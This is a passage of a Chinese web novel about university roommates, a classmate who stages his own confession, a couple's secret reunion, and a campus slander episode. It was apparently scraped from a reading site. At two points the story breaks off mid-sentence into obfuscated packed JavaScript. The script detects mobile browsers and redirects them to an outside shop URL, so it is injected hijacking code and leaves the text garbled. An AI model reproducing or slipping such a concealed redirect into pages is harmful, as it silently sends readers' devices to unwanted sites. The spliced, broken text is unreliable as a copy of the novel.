黄怀予迅速上前蹲下来,“怎么样?怎么样?你还好吧?” 戚天整个人像是从水里捞出来一样浑身湿透,嘴唇都是紫色的,整个人痛得动都动不了。她眼睛也睁不开,只是紧紧皱着眉头,嘴唇颤抖,黄怀予跪在地上凑近去听,才听见她在说,“痛……痛经……” 黄怀予当即把她扶起来,咬着牙,用力把她背了起来。 校医院就在9号区前面不远的地方。 戚天很瘦,胳膊几乎细得一折就能断,放在黄怀予的肩膀上,随着黄怀予走路的动作晃晃荡荡。 背上的重量越来越重,戚天整个人都在不停往下滑,黄怀予被压得出了一身的汗,不得已停住脚步,喘着气,把她用力往上颠了颠。 她脚步已经打颤,却还是紧抿着唇,咬着牙,继续往前朝着校医院的方向走去。 “黄……黄怀予……” 肩膀处传来气若游丝的声音。 “我们刚刚还在吵架……你不用管我……” 黄怀予大声骂,“你有病啊!” 她手肘用力箍紧身上那人的腿,脚已经累得不走直线了,却还喘着气往前面走。 “这种时候了还说这种话干嘛!” …… 戚天被放在病床上,医生给她开了点药,正在打点滴。 学生在校医院看病可以用大学生医保,最后总费用只需要几块钱。但是柜台说不收电子支付,只接受现金,黄怀予于是又马不停蹄跑回寝室,拿了自己的零钱包,又立刻跑回来,把钱交上去了。 通知了另外两个室友,两人一起来了校医院,最后三人一起陪戚天打完了点滴。 * 下周周一,有一门专业课。 老师叫计承教,中年男人,有点秃顶,有点胖,头发很是稀疏,但是每时每刻都笑眯眯的,对谁都和颜悦色。他上课内容和方式都很特别,把哲学、心理学相关内容讲得极其生动有趣,给班上所有同学都留下了深刻印象。 “哦,计承教啊,他人很好的,打分又高,课也有意思,人品也很好。”同专业的学姐这样评价道。 这节课结束之后,要把之前计承教布置的作业交上去。 黄怀予把自己的作业交上去了,又有些犹豫地叫住了计承教。 “老师好。我是戚天的室友,我想请问一下她的作业能不能晚几天交,因为她最近生病了……” 黄怀予说得很诚恳,她生怕计承教会以为这是戚天为了不交作业而装病还让舍友代为打掩护,于是努力让自己的表情和语言都显得极其真诚。 “什么!”计承教很是吃惊,本来一贯温和的脸立刻变了脸色,立刻问,“她怎么样了?没事吧?” 他这强烈的关心让黄怀予有些愣住,“……啊没事没事,打几天点滴就会好。但是,那个作业,她可能就没办法今天准时交了,所以她想让我帮忙问一下您,可不可以过几天再交……” “哦,作业没事。无所谓。” 计承教还没等黄怀予说完,就立刻摆摆手。 “你让她养好身体,这是最重要的,其他的事情都之后再说。” 说到这里,计承教像是想到什么,还补充了一句,“你也可以让她放心,她晚交甚至不交,都不会影响她之后的分数。” 黄怀予惊呆了,她没想到计承教这么好说话,而且如此关心同学。她又是感动又是受宠若惊,“谢谢老师!” “没事。”计承教笑眯眯看着她,“回去吧。路上小心。” 黄怀予道别后一个人走出教室,心想还真是像学姐说的那样,他人可真好。 ……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14433092|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 走出教学楼,进入一条没什么人的小路,前面隐隐约约看见一个人影,瘦瘦的,背影很熟悉。 黄怀予认出来了,是韦真。 “听说,韦真和曹康裕彻底闹掰了。两个人已经吵得水火不容了,本来说两个人可以有一个换宿舍去1号区,结果两个人吵得太过,辅导员何文生气了,干脆把这个机会给拒了,现在两个人都不准换宿舍了。于是只能在我们班男生中间内部交换了一下,把他们俩安排在了不同宿舍里。所以之前那些拉拢班上的男同学让他们给自己投票之类的事,也全部都打水漂了。” 戚天之前得到的消息在脑海中响起,黄怀予只觉得好笑,这些人机关算尽吵来吵去也不知道得到了什么结果。 她远远看着前方那个身影,突然看到了什么,面色一凝。 ——她竟然看见,韦真正在没人的角落里,抽烟。 黄怀予震惊地站在原地,看着不远处那个熟练地吞云吐雾的身影。 他很瘦,看着那么病弱,他说他身体不太好,他说他有一些疾病所以申请了不用军训……可是这样一个身体不好的人,看上去吃点辣椒都受不了,怎么会主动抽烟? 而那人站在那里,那抽烟时熟练的姿势,一看就是老烟枪了。 黄怀予皱了皱眉。可是这毕竟也是人家的私事,她也无权管,于是转身就想离开。 却没想到,下一秒,韦真抽完了烟,从书包里拿出一个半人高的三脚架,放在原地,装上了自己的手机,在手机屏幕上按了几下,就背对着手机,往前走。没走几步,就又回来,检查手机屏幕上的内容。检查好了,又往前走,没走进步就又回来看手机,反复多次。 ……这是,在拍照? 而且,是拍自己的背影。 黄怀予最后远远地看了一眼,转身离开了。 * 黄怀予开学以来,基本上除了上课,就是在图书馆里看社会学专著。 另一位专业课老师在一次上课的途中提到了,再过几个月将有学术项目可以申请,感兴趣的同学现在就可以开始组队参加,以及寻找指导老师。 黄怀予浑身充满干劲,找了几个班上熟识的同学组队,以项目主持人的身份熬夜写了好几个研究主题,提交给了徐樱。 徐樱评价这几个题目有那么一点社会学的感觉了,对于黄怀予这样一个刚入学的大一新生来说已经不错了,但是也只是堪堪摸到了一点点门槛,作为项目还远远不够。 黄怀予也没气馁,天天在B站看别人讲解怎么写论文,大致有了一个了解之后就去淘宝买了一个知网永久双语账号,每天一睁眼就是找论文下载然后读。 读着读着,她感觉自己好像通了一点。社会学本就包罗万象,什么都可以研究,什么都可以成为研究主题。与其扯高大上的宏观道理,不如关注一下感兴趣的实际问题。 想到这里,黄怀予脑子里好像闪过一点灵感,熬了三个大夜,刷刷就写了一篇几千字的东西,还学着B站的方法写了一个很简短的文献综述,交给了徐樱。 ——却没想到,徐樱这次很是惊讶。 黄怀予交上去的东西是通过对女性的审美变迁研究身体的社会化。 徐樱一看题目,心里就已经有数了。定性的研究,涉及人类学、女性主义。研究问题成立,初始就可以站得住脚。再一看,选用了社会学相关理论,做了一个不完美、有漏洞但是算是认真的社会学相关文献综述,理论在题目中也有体现,全程贯穿中心。 她很是惊讶黄怀予居然这么短的时间之内就自己搞出了一个这样的东西,给予了很大肯定,之后又抽出时间帮黄怀予修改,并且一步步教她怎么写文献综述。 某一天凌晨一点,黄怀予还收到徐樱刚给她改完的文件,心里感动得一把鼻涕一把泪,给徐樱发了一连串的哭泣猫猫头表情包。 对面像是已经很困了,冷淡地说: “不用哭,改完你的我还要改别人的,反正今晚也睡不了了。” 黄怀予发现徐樱好像在线上聊天的时候会比较冷漠,又变本加厉发了一连串瑟瑟发抖的表情包,哭泣猫猫头哭得更伤心了。 对面像是顿住,五分钟后,才回了一个“摸摸”表情包。 168. 第 168 章 楚恒自从《光芒之下》总决赛那天晚上凌晨从江城飞回魔都之后,就一直非常忙。 黄怀予也知道这一点,所以哪怕楚恒每次收工之后第一时间就会回复她的消息以及给她打电话,她也很少给楚恒发消息。 她刷着微博上东吟公司官博放出的楚恒这两周满满的日程表,心里感叹,他这么忙,还是别去打扰他为好。 于是这也就导致,从那天晚上两人在江城胜家酒店短暂地见面以及分别之后,到现在的几乎两周时间里,两人交流甚少。 本来那天晚上发生的事,黄怀予偶尔想到还是会脸红心跳,但是随着时间一点点过去,自己的生活也慢慢忙了起来,她也逐渐把感情的事放在第二位了。 又是夜晚近乎十点多,黄怀予改完项目申报书,洗了澡躺在床上,点开微信,才发现楚恒给她发了一长串消息。 晚上9:34。 【楚老师】:刚刚收工。 【楚老师】:在干吗? 晚上9:35。 【楚老师】:为什么白天不给我发消息?今天中午吃了什么? 晚上9:47。 【楚老师】:在忙吗? 晚上9:58。 【楚老师】:你最近好像都很少给我发消息。 【楚老师】:为什么。 晚上10:03。 【楚老师】:是因为我没有及时回复吗?抱歉,这几天一直都很忙,收工之后第一件事就是看你的消息。以后我尽量每两三个小时就看一次手机。别生气,好吗? 晚上10:15。 【楚老师】:你不想理我了吗。 …… 黄怀予傻眼了。 她才一个小时没有看手机而已! 怎么会多出来这么一长串! “来了!来了!我刚刚洗澡去啦。” “没有生气!也没有不理你……只是你太忙啦,我知道。当然不能去打扰你了。” 对面立刻秒回。 【楚老师】:你的事永远都不会是打扰。 “……”黄怀予有点不好意思,自己每天除了分享生活也不会发什么有营养的东西,中午吃了什么,看见一只流浪狗跟小楚长得很像,老师人很好,写论文好累……她自己都觉得这样的分享很是无聊。 “不,就是打扰……你那么忙,每天都只能睡几个小时,干嘛还要花时间看我的碎碎念流水账。以后我都不发啦,等你收工有时间了就给我发消息。” 对面立刻一个电话打了过来。 黄怀予吓了一跳,做贼似地跑下楼,找了一个没人的角落,按了接通。 对面传来楚恒的声音,很沙哑,低沉。 “你是不是生气了。” “因为我们聚少离多,因为我工作太多。对吗?” 黄怀予一下子就听出了他话里的低落,赶紧说,“没有的!你的工作那么重要,当然是工作优先。我也要做项目上课,两个人都那么忙,就没办法还像之前那样什么不重要的小事都要分享了。我怕你会觉得这样无聊的生活琐碎很厌烦。” 对面沉默几秒,突然重复了两个字: “厌,烦?” 他轻笑了一声。 “黄怀予。” 他突然喊了她的大名。 “你是不是真的不知道,你对我来说有多重要。” ……黄怀予心跳漏了半拍。 “不说话?”他像是咬着牙,“行。” 对面直接挂断了电话。 …… 第二天,正好有徐樱的课,黄怀予带着项目的几个队员和徐樱聊了一下申报书,徐樱走了之后又找了一个空教室,和几位组员聊了很久研究课题。 几乎一个小时的头脑风暴,几人都有点疲累,大家分好工回去查文献,定了下周完成各自的部分,就各自收拾东西准备回去了。 此时已经是午休时间,教学楼里几乎没人。 下午难得没有课,黄怀予悠哉游哉抱着几本书,走在教学楼走廊里,还在想着下午要不要回寝室睡一觉。 经过拐角,走过一个没开灯的空教室,突然从门边伸出一只手,一把抓住黄怀予的手臂,把她用力拉了进去。 “唔!” 被一个高大的身影勾着腰按在怀里,压在冰冷的墙壁上。 周围没开灯漆黑一片,教室门被“跨啦——”一声关上,隔绝了外面所有的吵闹,整个世界里只剩下眼前的黑暗,以及压在自己身上的高大温热的身躯。 黄怀予刚想大喊就被一只大掌捂住了嘴,她用力挣扎,却没想到眼前这人力气实在太大,两只手就轻而易举制服了自己,整个人压在她身上,头往她颈窝里钻。 鼻间突然萦绕着一股熟悉的小苍兰香味。 “是我。” 沉闷的声音在耳畔响起,灼热的呼吸喷薄在皮肤上,黄怀予打了个激灵,一下子停止了挣扎,浑身放松下来。 她瞪着眼前这人,“呜呜呜”发出抗议的声音,想让他赶紧把捂着自己嘴巴的那只手拿下去。 瞪了半天,她又想到现在周围漆黑一片,他看不到,又开始在他怀里扭来扭去,蹭得他直笑,“怎么了?扭来扭去,想要我抱你?” 黄怀予张嘴,毫不客气地咬了一下他的手心,他“嘶”了一声,终于放开手,黄怀予的嘴终于重见天日,张口就小声骂他,“抱你个头!” 楚恒被咬了一口,却完全不恼,勾着黄怀予的腰,去吻她的脖子,声音里都带着笑意。 “嗯,是我想抱你了。” 黄怀予伸手去推他,推半天却推不动,只能任由他去,“你疯了!怎么跑来学校了,被人看见怎么办!” 身上的男人呼吸乱了起来,他贴着她的耳朵低低地说,“我戴着口罩帽子来的。我看过了,这附近没有监控。” 声音越来越柔,越来越哑,带着说不清道不明的委屈,“想你。” 四周一片漆黑,黄怀予还没来得及说话,随后下巴就被一只手指挑了起来,嘴就被精准地吻住。 一通暴风骤雨般的吻,像是在发泄,热恋期却十几天未见,所有欲望/压抑着到最后必须寻求一个爆发点。 黄怀予只觉得要窒息了,腿越来越软。黑暗的环境里所有感官都被无限放大,两个人的喘息在安静的教室里响起,像是最隐秘的话语,光是听见就已经让人浮想联翩、脸红心跳。 她手被牵住,十指相扣,整个人被楚恒按在墙上一遍一遍地吻。 马上就要站不住的前一秒,楚恒一把揽住她的腰,把她往上提了一下,大腿卡进她两/腿之间,扶着她靠在了自己腿上,黄怀予趁着这个气口得到了一点短暂喘息,紧接着嘴唇又被轻轻咬住,舌/头被勾起来一点点地/舔。 黑暗里,黄怀予什么也看不见。 她只能听见楚恒急促的喘,感受到楚恒灼热/滚烫的掌心,以及他身下/硬邦邦的一团。 狂风骤雨过后他开始卷着她的/唇,温柔地接吻,这是一个极致缠绵柔情的吻,也漫长得像是过了一个世纪那么久。 等到黄怀予的唇终于被放开,两人鼻尖蹭着鼻尖,呼吸交缠,耳垂被他轻轻揉捏,黄怀予才感觉到,他身下/那硬邦邦的一团已经维持这种状态很久了。 “……看见你就这样了。” 他喘着气去吻她的耳朵,声音哑得要命,委屈地说: “真的,很想你。” …… 楚恒第二天早上的飞机回去。 虽然依然是见面不到24小时,但是这次比起之前已经好了很多了。 黄怀予把楚恒的帽子口罩全部给他扣得严严实实,拉着他去了学校附件的一家酒店。这家酒店是附近最贵的一家,四星,环境还不错。 直到牵着手进了房间,所有伪装都被摘下来,黄怀予才看清,楚恒有多疲惫。 他黑眼圈很重,眉眼之间疲惫不堪,是结束工作以后马不停蹄过来找她的。这段时间签了很多新工作,正在筹备新专辑,又拿到了一些杂志资源,上了一些节目宣传。明天下午,紧接着又要进录音室。 黄怀予关了窗帘,调好了空调,指着床对楚恒说:“过去 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“你想的是什么?” 黄怀予难得看到楚恒这种表情,她简直要笑死了,一把扑上去把他压在床上,笑倒在他身上。楚恒黑着脸,两个人蹭来蹭去把床都蹭乱了,黄怀予气喘吁吁地收起笑容,“好好好,我错了,我不笑了。我真的是想让你好好休息一下。” 她摸摸他的脸,却被他一把抓住手腕。 她抬头,对上他那双湿润的桃花眼。 “不用觉得好不容易来找我一次却在睡觉是浪费时间。我们在一起,不管做什么,都是宝贵的。” 她安抚地拍拍他,“别怕,我在你旁边。好好睡一觉吧。” …… 楚恒闭着眼,沉沉睡过去了。 窗帘紧闭,房间里光线昏暗,空调调到了最适宜的温度。 这家酒店环境很好,房间很大,还是分内外两间的。 黄怀予听着他沉稳安定的呼吸,放慢脚步,走了出去,关上了门。 她还没吃午饭,寻摸着楚恒估计也没吃,于是下楼随便逛逛,买了点吃的,准备带回去,等他醒了可以吃。 拎着大包小包坐电梯上来,打开外间房门,才刚把东西放在桌上,突然就听见身后传来急匆匆的脚步声。 整个人被人从身后一把用力抱住,后背贴上来一具高大温热的身躯,楚恒有些慌乱的声音在耳畔响起,“……去哪了?你,去哪了……” 黄怀予一愣,才发现内间的门不知道什么时候已经被楚恒打开了。他像是睡着睡着突然醒了,没见到她,于是开始满世界找她。 “我在呢。”她拍拍横亘在自己小腹上的那只手,“我下去买吃的去了。” “……嗯。”楚恒闷闷地应了一声,情绪不高,还夹杂着刚睡醒的沙哑。 “既然醒了,要吃吗?” 身后的人不回答。手抱着她,没有一丝想放开的意思。 “那要继续回去睡吗?” 后面也没声音。箍着她的手还是不动。 “楚恒,你太黏人了。” 听到这话,身后的人浑身都抖了一下。 “……嗯。我离不开你。” 他的声音很沉,很轻,一点点地诉说。 “我好想念当初你在帝都的日子。” “那个时候,前途一片黑暗,没人知道未来会怎么样,每天都很迷茫。但是只要你在我身边,只要回到家就能看见你躺在我床上,看见卫生间里有你的浴巾和刷牙杯,看见我的吉他被你抱在手里,看着你一口一口地吃我做的东西……我就觉得,那是最幸福的日子。” “可是如今,想要见你一面,却这么难。” “我竟然已经不知道,比起之前,现在的日子是不是更好了。” 黄怀予掩下心里的震颤,缓缓开口说:“人要向前看。” 身后的人顿了一下,叹息着抱她更紧。 “我的前方是你。” 169. 第 169 章 秋天快要结束,冬天快到了。 苏琬这几天走在学校,似乎总能看见周围的人在偷偷看自己,还会在自己身后悄悄议论。 “是她吗?” “是!就是她!之前网上都有照片的,我看过!” “我去,长得确实漂亮,蛮有气质的,系花级别的啊,怪不得能拿下有钱人。” “那有钱人开的玛莎拉蒂呢!” “我估计是什么艺术生吧,我们学校有表演系吗?不是说表演系的女生最会勾引有钱人了……估计是被有钱人包养了吧。” 苏琬站定,迅速朝着发出声音的方向看过去——两个男生正在角落里对她品头论足。那两个男生个子比她还矮,又矮又胖,戴着眼镜,脸上疙疙瘩瘩,闪着油腻的光。 “哎呦,现在还能找到单纯善良的女孩子吗?小仙女们都太物质了,勾搭上有钱人简直平步青云啊!哪像我们,辛辛苦苦读书工作,最后还要花大笔彩礼接盘这种小仙女。” “就是,要不怎么说女人的钱好赚呢,谁知道她钱怎么来的。” 苏琬就这么平静地盯着他们看,直到把他们注意到苏琬的目光,还稍微吓了一跳。他们从来没想过会有女生在听了这些话之后还能这么平静地直视他们,苏琬神色太过冷静,甚至显出那么一丝不屑与之争辩的冷淡,更令那两人突然后知后觉涌上一层尴尬。 可是慢慢,那两个男生又像是为了挽回面子般切了一声,嘟嘟囔囔,“说的事实啊,还不让说了?有本事你自己别做出这种事啊。” 说完,那两人转身走了。 苏琬站在原地,也转身回了寝室。室友立刻上前,把手机递给她,“苏琬!你看!你被偷拍了,放上学校表白墙了!” 手机上是两张模模糊糊的照片,深蓝色的玛莎拉蒂就这样大喇喇停在学校东门门口,而画面正中间,自己的背影就这样出现,被一个身材高大、穿着黑色皮衣的男人拉着,上了车。 下方评论: “我去!玛莎拉蒂!” “这女生哪个院的?男朋友这么有钱,开着车来校门口接她。” “这不是表白墙吗?这明显女生已经有男朋友了,还捞什么?投稿人有点奇怪吧。” “男朋友?哈哈哈哈,这年头都把金主叫男朋友了?小仙女挽尊的方式真是别具一格,当了那啥还要立那啥。” “牛逼啊,果然这等美女到最后都是眼高于顶要往上爬的啊,鼠鼠我们啊这种屌丝男怎么能肖想?” “这女生大一的吧?才大一就勾搭上金主了,豪车在校门口接送,牛逼。” “这年头金主都这么帅了?这身高得有一米九了吧?又高又帅的,这种条件都可以直接包养女明星了吧,怎么还来我们学校包养大一女学生……大哥收了我吧,小弟我不想努力了。” “卧槽,好帅。老公考虑包养男大学生吗?我可以!” “上面的男同收收味。” “虽然女方长得确实不错,但是男方又帅又有钱啊,这女的有点手段,看来是床上有绝活啊。” “投稿人和上面所有评论的普信恶臭男全部去死。你们一个偷拍,一群人意淫,恶心透顶。” …… 室友愤怒地说:“这些评论的男的好恶心!真不想承认跟这些人同一所学校!造谣别人毫无成本!” 苏琬把手机还给了室友。 下方的评论已经数量多到三位数了,这在校园墙里属于流量非常大的讨论帖。现在如果已经到了走在路上都会被路边的人认出来自己就是照片里的人的地步,那么估计现在她的学院、班级和姓名也早就被扒出来了。 而她的所有个人信息,也都将一直和“包养”“有钱人”“情妇”这种词捆绑上,跟随她四年。 苏琬此时此刻竟然出奇地冷静。室友又激动又愤怒地说要找老师处理,说不相信她们法学院的学生,自己都懂法,怎么可能会无法解决这种事情。 她和室友一起迅速截图保存了所有证据,直接去了法学院行政楼,找到了辅导员,说清了整件事。辅导员闻言很重视,立刻和管理员进行了沟通,相关的帖子已经被删除。 只是表白墙的下一条与之无关的投稿下方评论区也早就已经变成了某些人的团建,大声嚷嚷“有钱真好,事实都不让说了,议论一下还急了”“苏琬是吧,记住你了”“你以为就一个表白墙能讨论啊?兄弟们贴吧走起”。 苏琬盯着手机屏幕,久久没有回过神。 “嘟嘟嘟——”寝室门口传来敲门声。现在寝室里只有苏琬一个人,她以为是哪个舍友没有带钥匙,骤然压下乱七八糟萦绕在心头的酸涩情绪,起身去开门。 却没想到,一打开,黄怀予那张面无表情的脸就出现在了门外。 她走了进来,抱着胸。 “搞定了。” 苏琬一愣,“什么搞定了?” 黄怀予极力压抑着想打人的情绪,连说起话来都是咬着牙的,不过她语气却带着报仇雪恨的爽感。 “我看到之后,跟谷奕说了。” “他全部搞定了。” 苏琬一怔,立刻低下头打开手机,发现下一秒就有一个陌生人加自己Q/Q,还附上一大串自我介绍词。 “苏琬同学对不起,我是工程学院2016级陈军,也是那篇帖子的投稿人。很抱歉偷拍你并把你放在网上,我已经真诚地知道错了。现在我全班同学都知道是我偷拍的了,不知道是谁还上报了我实习的公司,现在我公司也撤销了我的实习offer,我真的一无所有了。真的对不起,求你放过我,我将会把一个手持道歉信的正脸视频放在所有朋友圈和说说公示两周。求你放过我。” 紧接着,又有好几个新好友通知。 “你好,我是法学院2016级王勇。对不起,我不应该在那条帖子下说你是被包养的,我已经深刻意识到了这是造谣行为,我会把手持道歉信的正脸视频放出来,求你别再继续了。” “对不起。我是信息学院2017级陈鹏天,很抱歉在不了解的情况下在网上散布你的个人信息还说你是烂货,对不起对不起对不起。你能不能也别再把我之前嫖/娼的事情往外传播了,我女朋友知道了也和我分手了,我爸妈也知道了把我打了一顿,我已经得到教训了,求你了。” …… 接下来,足足有七八条新好友申请通知,内容全部是自我介绍加道歉声明,并且低声下气地祈求苏琬放过自己,言语一改之前网上的嚣张跋扈,变得极其恭顺,就差给苏琬直接跪下了。 黄怀予略有得意地看着苏琬,本来希望能在苏琬脸上看到恶有恶报的报仇爽感,却见苏琬一直低着头沉默,拿着手机的手指很用力,骨节似乎都有些泛白,细长的眉头微微蹙了起来。 黄怀予脸上表情立刻僵住,随后迅速上前,有些手足无措地轻轻拍她的肩膀。 “怎么了?” 她问得小心翼翼,安慰得极其笨拙。 从小到大黄怀予才是那个情绪大起大落的,她害怕很多东西,怕鬼、怕黑、怕走夜路,遇到害怕的东西她总会尖叫着去找苏琬然后像八爪鱼一样缠住对方,剩下的事她都不用管了,反正苏琬永远都那么冷静、机敏,像一个温和从容的母亲,身上有令人安心的大地的感觉,苏琬总能一边温柔地安慰她,一边带她走出来。 黄怀予皱着眉,她发现,苏琬此时居然在发抖。 “杯子。我觉得我低人一等。” “我觉得他们丝毫不尊重我,因为在他们眼里我根本不是人,我只是一个男人意淫下的表征物。我即使这么努力考上了顶尖大学,充满知识想要探索未来,可是在他们眼里我却只是一个凭着外貌就可以开始依附有钱男性、走上所谓捷径的妓女。在他们眼里所有女人都是妓女,他们唾弃、鄙夷,却还要自己去嫖妓。可是如果有机会让他们自己去为上层男性服务,他们甚至会一改常态的嘴脸,兴高采烈地争相报名。” “我想到了杨天奇。” “太像了……太像了,一模一样的感觉,一模一样的经历。我比他成绩好太多,能力强太多,可是他依然觉得我只是玩物,想要让我屈服,我如果敢反抗他,他甚至无谓任何法律道德可以直接绑架我上车。他痛骂我勾引谷奕,痛骂我一定用了下作的手段才让谷奕为我出头,可是即使他三番两次被谷奕打得鼻青脸肿,他却愿意低声下气地给谷奕道歉。在他心里,谷奕是人,是比他更上层、更有权力掌握下层人命运的人。而我,只是一条狗,只是玩物,只是无所谓的女人。” “权力一层一层,一级一级,上面的男人压着下面的男人,而下面的男人压着女人。” 苏琬浑身都在抖,黄怀予一把搂住她,双手急切地在她身后抚摸。 想要说什么,可是喉间却哽咽,眼泪已经流了下来。 两个女孩就这样在狭窄、安静的寝室里互相支撑拥抱,想说的很多,却在此时此刻全都什么也说不出来。 黄怀予知道苏琬没有说出口的话。 谷奕似乎永远这么神通广大,他伸伸手任何事都可以办成,他可以让这个世界上所有欺负苏琬的人都下跪给她磕头。 ——因为谷奕,就是那个最上层的男人。 群体和个体有关联吗?个人的情感可以脱离宏观的结构吗?爱情可以永远纯洁吗?人会变吗?权力结构会让一个人变得面目全非吗?层层的现实差距可以被缥缈的感情跨越吗? 苏琬抬起手,摸了摸耳边闪闪发光的三颗耳钻。小小的,银色的,连成一排。 她垂下了头。 这些问题像山一样沉重,陡然出现,又像天幕一样压在她身上。 想得明白吗?怎么可能会想得明白呢?她才18岁,少女少男的爱那么炽烈热忱,就像那夜漫天的流星雨,好像全世界都在努力创造着这样一个美好的故事,再也不会有比爱情更浪漫的事了。 如果二十年一遇的流星雨是奇迹,如果两列根本不会有机会相交的平行列车居然呼啸着产生交集,如果也像那夜一样她冲破理智说了我愿意……可是现实却像当头一棒,一次又一次地提醒她奇迹不会永远发生。 对两人之间关系的痛苦审视让她浑身冰冷,但情感本能又让她无法自控。在现实的当头棒喝下,苏琬惊觉自己原来只是一个卑懦的逃避者。 * 在表白墙上,黄怀予还看到了一条帖子。 有人指明要给社会学院的韦真同学表白,甚至还直接附上了时间地点,说周五晚上在9号区东边树林里等他。帖子还附上了一张照片,是拍的韦真的背影,看上去是投稿人自己拍的。 这一条帖子直接被班上同学看到后转到了班群里,群里一下子全都炸了,所有人都在“哦哦哦”地起哄,几个和韦真玩得好的男生迅速说“真哥魅力大啊,牛逼!”“答应她!”“真哥要脱单了!”“好勇敢的女生,这就是爱情吗”。 韦真不久后马上站出来回复,整条内容谦卑有礼又极其得体。 “大家先别传播了,对人家女生不好。同学们也先别起哄了,这种事情起哄的话,人家女生会不好意思。周五晚上我会去树林的,会和那位女生说清楚。感谢大家,这个消息就到此为止了,就不占用班群空间了,我身为班长更会以身作则。” 这条消息看上去落落大方,还非常为那位匿名女生着想,甚至还考虑到了自己的班长身份,声明不会影响班群用来发布官方通知消息的性质,在各方面都完美至极。以至于辅导员和几位老师都出来回复:“韦真同学说得非常好。” ——然而此时,全班只有黄怀予皱着眉头,看着手机里的内容,脸上的表情像吃了屎一般难受。 不为别的,正是因为这个表白墙的帖子上,匿名投稿人发的那张照片里韦真的背影,俨然就是黄怀予那天在小巷子里偶遇韦真的时候,他一个人自己拿着三脚架拍的。 ……这后面所有一连串的戏,全都是他一个人自导自演。 既让大家觉得韦真被女生勇敢表白,韦真个人魅力很强,又让大家觉得天哪他拒绝了女生,但是又特别落落大方不让女生难堪,真是很有绅士风度,情商顶级,不愧是班长。 黄怀予望着窗外江城的天空。 真蓝。坦坦荡荡干干净净的蓝。 她撑着脑袋望着天放空。 * 项目书几经修改最后交了上去,黄怀予还去参加了一次学院里的答辩。 院长坐在中间不苟言笑,中间还有一排从来没见过的老师。 每个小组只有十分钟的展示时间。按照大家起码写了一万字的立项书来看,这十分钟的时间是肯定不够的,没讲完就会被无情打断换下一组。 和她一起竞争的除了大一的很多支队伍,还有大二大三的,以及很多其他专业的同学。大家同一水平线一起竞争几个立项名额,黄怀予实在是没抱什么期望。 答辩的时候,其他小组都做了天花乱坠的PPT,十分钟的时间还没讲完研究背景就被打断了。大二大三的学姐学长们的项目也都非常好,要么是理论性很强的定性,要么是格式极其工整的定量,黄怀予坐在旁边听着,感觉这一趟来学到了很多。 黄怀予观察到每位老师手里都有各个小组的立项书,于是她觉得PPT也没什么必要了,所以轮到她的时候,她甚至连PPT都没带上去,直接拿了自己的立项书就开始从最重要的研究问题和文献综述开始讲。 结束之后,江城还下雨了。她打着伞踩着水回去,心里开始觉得自己也算是见过大场面的人了,没有结果也不虚此行。 ——结果没过多久就传出消息,说她的项目居然立项了。 整个大一年级只有黄怀予的这个项目立项了,其他的全是大二大三的。黄怀予简直受宠若惊,徐樱也很欣慰,跟黄怀予说了很多之后的研究安排。 小组成员之间一起吃了一顿饭,每个人都很开心。 分享到了“祝你开心到想(4)”群里,谷奕抬手就发了一个大红包。正好楚恒最近终于有五天左右的时间没有任何日程,于是直接买了张机票直飞江城,四个人终于有机会再次重聚。 为了庆祝杯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14456631|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐项目立项以及大明星终于有空放假,谷奕找熟人包了一个会所,找人布置了一个大型主题party,给四个人全部都极其正式地邮寄了一封邀请函,邀请大家晚上来某某地点,门口已经停了车准备接送。 坐上车以后,黄怀予还是有点担心隐私性问题,毕竟楚恒现在真的是个明星。 她特地去问了谷奕,谷奕拍着胸脯保证,“放心,这会所老板专门做名人客户的,进出车辆全部都有登记,房间隐蔽性很高,门口安保连一只苍蝇都不会放进来。” 他手上还拿着工作人员NPC刚递给他的邀请函,打了火漆印,信封黑色牛皮纸包金,一整个逼格拉满,工作人员也极其有信念感,戴着可以包住全身的黑色斗篷,非常神秘地把邀请函交出去就消失了。 看得黄怀予咋舌,“你这NPC哪里找的?还有这会所老板,你怎么认识的?” 谷奕耸耸肩,“当然是找辛桐。” “她每天到处吃喝玩乐,这种东西她都门儿清。” “会所老板是她熟人了,给我推荐的。她还给我推荐了一个专门做party设计承办的个人工作室,辛桐之前18岁生日派对就是找这工作室办的。我跟这工作室她们说要个神秘点的,好玩点的,剩下的什么斗篷什么邀请函这些全都是她们自己发挥的。” 黄怀予、苏琬和谷奕上车以后直接被带去换衣服化妆,衣帽间全都是各种各样的裙子、礼服或者西装,什么风格应有尽有。 黄怀予被拉着稀里糊涂换上了一条黑红相间的裙子,看着做工非常好,面料也很昂贵,全套腿环、手环、饰品戴上去,又被拉着坐下画了个妆弄了头发,出来的时候整个人像是那种古灵精怪的魔女。 化完妆就又上了车,全程一路都有NPC带领,越往会所里面走,周围布置的装饰越有代入感。会所里房间很多,一楼全都是被布置过的房间,二楼是正常的KTV、餐厅、吧台,三楼甚至还有卫生间和卧室。 NPC走到一个角落就消失了,周围只剩下她一个人,她猜测其他三个人应该也会是这样的体验,工作人员NPC如果不出意外的话应该是都不会再出现了,一切都等着玩家自己探索,客人可以选择一起去每一个布置的房间玩玩密室逃脱,也可以就去KTV彻夜喝酒吃东西聊天,各种需求都完全可以被满足。 直到走到大堂,远远看见一个男人的背影,穿着黑色燕尾服,高高瘦瘦,宽肩细腰长腿,带着礼帽。 黄怀予一下子停住了脚步。 如果这还能认不出来是谁的背影,那她这个女朋友也当得太失职了。 距离上一次见面,好像有快三周了? 